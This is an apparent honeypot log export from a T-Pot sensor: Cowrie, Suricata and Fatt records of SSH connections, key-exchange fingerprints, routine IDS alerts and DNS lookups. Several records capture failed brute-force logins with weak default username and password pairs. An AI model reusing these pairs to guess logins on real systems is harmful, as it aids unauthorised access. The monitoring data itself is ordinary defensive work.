36858	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:17:54.790842+03	2021-09-20 15:30:02.836867+03	{"_id": "sQYkA3wBvYTbRNuELWUL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/aa11bb] failed", "session": "519619cfd3b5", "@version": "1", "password": "aa11bb", "username": "root", "timestamp": "2021-09-20T12:17:54.790842Z", "@timestamp": "2021-09-20T12:17:54.790Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
36861	5.188.62.219	109.199.241.180	Fatt	2021-09-20 15:17:55.29655+03	2021-09-20 15:30:02.841867+03	{"_id": "vgYkA3wBvYTbRNuEMmXy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.219", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "eccf733a56108dec8ecc8efbc681be63", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 58840, "dest_port": 22, "timestamp": "2021-09-20T12:17:55.296550", "@timestamp": "2021-09-20T12:17:55.296Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	RU
36862	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 15:17:56.548196+03	2021-09-20 15:30:02.842867+03	{"_id": "vwYkA3wBvYTbRNuENGXd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "6dba251cbc3c", "@version": "1", "duration": 1.3093688488006592, "timestamp": "2021-09-20T12:17:56.548196Z", "@timestamp": "2021-09-20T12:17:56.548Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	RU
36863	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:17:48.23137+03	2021-09-20 15:30:02.843867+03	{"_id": "egYkA3wBvYTbRNuEFWWY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.login.failed", "message": "login attempt [testuser/123456] failed", "session": "f1b3e417e53a", "@version": "1", "password": "123456", "username": "testuser", "timestamp": "2021-09-20T12:17:48.231370Z", "@timestamp": "2021-09-20T12:17:48.231Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
36864	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:17:48.980513+03	2021-09-20 15:30:02.845868+03	{"_id": "ewYkA3wBvYTbRNuEFmWY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:17:48.980513Z", "@timestamp": "2021-09-20T12:17:48.980Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
36865	5.188.62.194	109.199.241.180	Suricata	2021-09-20 15:17:49.991386+03	2021-09-20 15:30:02.846867+03	{"_id": "gQYkA3wBvYTbRNuEGmWA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:17:49.876524+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1310}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "5.188.62.194", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.194", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1220148600856556, "payload": "AAADvA4U518t+Lg32grG76FzUog32QAAAIxjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDEtc2hhMQAAAS1zc2gtcnNhLWNlcnQtdjAxQG9wZW5zc2guY29tLHNzaC1kc3MtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1Ni1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxlY2RzYS1zaGEyLW5pc3RwMzg0LWNlcnQtdjAxQG9wZW5zc2guY29tLGVjZHNhLXNoYTItbmlzdHA1MjEtY2VydC12MDFAb3BlbnNzaC5jb20sc3NoLWVkMjU1MTktY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzLHNzaC1lZDI1NTE5AAAAh2FlczEyOC1nY21Ab3BlbnNzaC5jb20sY2hhY2hhMjAtcG9seTEzMDVAb3BlbnNzaC5jb20sYWVzMTI4LWN0cixhZXMxOTItY3RyLGFlczI1Ni1jdHIsYWVzMTI4LWNiYywzZGVzLWNiYyxhcmNmb3VyLGFyY2ZvdXIxMjgsYXJjZm91cjI1NgAAAIdhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGNoYWNoYTIwLXBvbHkxMzA1QG9wZW5zc2guY29tLGFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczEyOC1jYmMsM2Rlcy1jYmMsYXJjZm91cixhcmNmb3VyMTI4LGFyY2ZvdXIyNTYAAABQaG1hYy1zaGEyLTI1Ni1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTUxMixobWFjLXNoYTItMjU2LGhtYWMtc2hhMSxobWFjLXNoYTEtOTYAAABQaG1hYy1zaGEyLTI1Ni1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTUxMixobWFjLXNoYTItMjU2LGhtYWMtc2hhMSxobWFjLXNoYTEtOTYAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAIZedcJMXTTTysuaKROU", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42938, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:17:49.991386Z", "@timestamp": "2021-09-20T12:17:49.991Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......._-..7.\\n...sR.7.....curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...-ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519....aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256....aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96....none....none..............^u.L]4....).."}}	1	\N	\N	alert	\N	RU
36866	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:17:49.936957+03	2021-09-20 15:30:02.848868+03	{"_id": "hAYkA3wBvYTbRNuEG2XH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.194", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42938, "timestamp": "2021-09-20T12:17:49.936957", "@timestamp": "2021-09-20T12:17:49.936Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36873	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:17:49.513401+03	2021-09-20 15:30:02.856869+03	{"_id": "fgYkA3wBvYTbRNuEGWV_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "f1b3e417e53a", "@version": "1", "duration": 2.779280424118042, "timestamp": "2021-09-20T12:17:49.513401Z", "@timestamp": "2021-09-20T12:17:49.513Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
36867	5.188.62.194	109.199.241.180	Cowrie	2021-09-20 15:17:49.992198+03	2021-09-20 15:30:02.849868+03	{"_id": "igYkA3wBvYTbRNuEHWVp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "3des-cbc", "arcfour", "arcfour128", "arcfour256"], "geoip": {"ip": "5.188.62.194", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "eccf733a56108dec8ecc8efbc681be63", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.194", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: eccf733a56108dec8ecc8efbc681be63", "session": "d82a030119a3", "@version": "1", "timestamp": "2021-09-20T12:17:49.992198Z", "@timestamp": "2021-09-20T12:17:49.992Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	RU
36868	5.188.62.194	109.199.241.180	Cowrie	2021-09-20 15:17:50.18411+03	2021-09-20 15:30:02.850869+03	{"_id": "iwYkA3wBvYTbRNuEHWVp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.194", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.194", "eventid": "cowrie.login.failed", "message": "login attempt [user/user] failed", "session": "d82a030119a3", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T12:17:50.184110Z", "@timestamp": "2021-09-20T12:17:50.184Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	RU
36869	192.168.20.103	109.199.241.180	Suricata	2021-09-20 15:17:50.962665+03	2021-09-20 15:30:02.851869+03	{"_id": "jgYkA3wBvYTbRNuEHmVo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "239.255.255.250", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:17:50.962665Z", "@timestamp": "2021-09-20T12:17:50.962Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
36870	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:17:52.83225+03	2021-09-20 15:30:02.853869+03	{"_id": "mwYkA3wBvYTbRNuEJmU7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 54081, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 581903575986938, "@version": "1", "in_iface": "enp5s0", "src_port": 38590, "dest_port": 53, "timestamp": "2021-09-20T12:17:52.832250Z", "@timestamp": "2021-09-20T12:17:52.832Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
36871	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:17:52.833609+03	2021-09-20 15:30:02.854867+03	{"_id": "mQYkA3wBvYTbRNuEJmU7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 54081, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1602, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 581903575986938, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 38590, "timestamp": "2021-09-20T12:17:52.833609Z", "@timestamp": "2021-09-20T12:17:52.833Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
36872	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:17:48.981176+03	2021-09-20 15:30:02.855868+03	{"_id": "fAYkA3wBvYTbRNuEFmWY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:48.981176+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 90}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246660106424, "payload": "AAAAAQMAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:17:48.981176Z", "@timestamp": "2021-09-20T12:17:48.981Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
36875	5.188.62.194	109.199.241.180	Fatt	2021-09-20 15:17:49.991386+03	2021-09-20 15:30:02.859869+03	{"_id": "hgYkA3wBvYTbRNuEG2XH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.194", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.194", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "eccf733a56108dec8ecc8efbc681be63", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 42938, "dest_port": 22, "timestamp": "2021-09-20T12:17:49.991386", "@timestamp": "2021-09-20T12:17:49.991Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	RU
36876	5.188.62.194	109.199.241.180	Cowrie	2021-09-20 15:17:49.933079+03	2021-09-20 15:30:02.861868+03	{"_id": "iQYkA3wBvYTbRNuEHWVp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.194", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.194", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.194:42938 (192.168.176.2:22) [session: d82a030119a3]", "session": "d82a030119a3", "@version": "1", "protocol": "ssh", "src_port": 42938, "dest_port": 22, "timestamp": "2021-09-20T12:17:49.933079Z", "@timestamp": "2021-09-20T12:17:49.933Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	RU
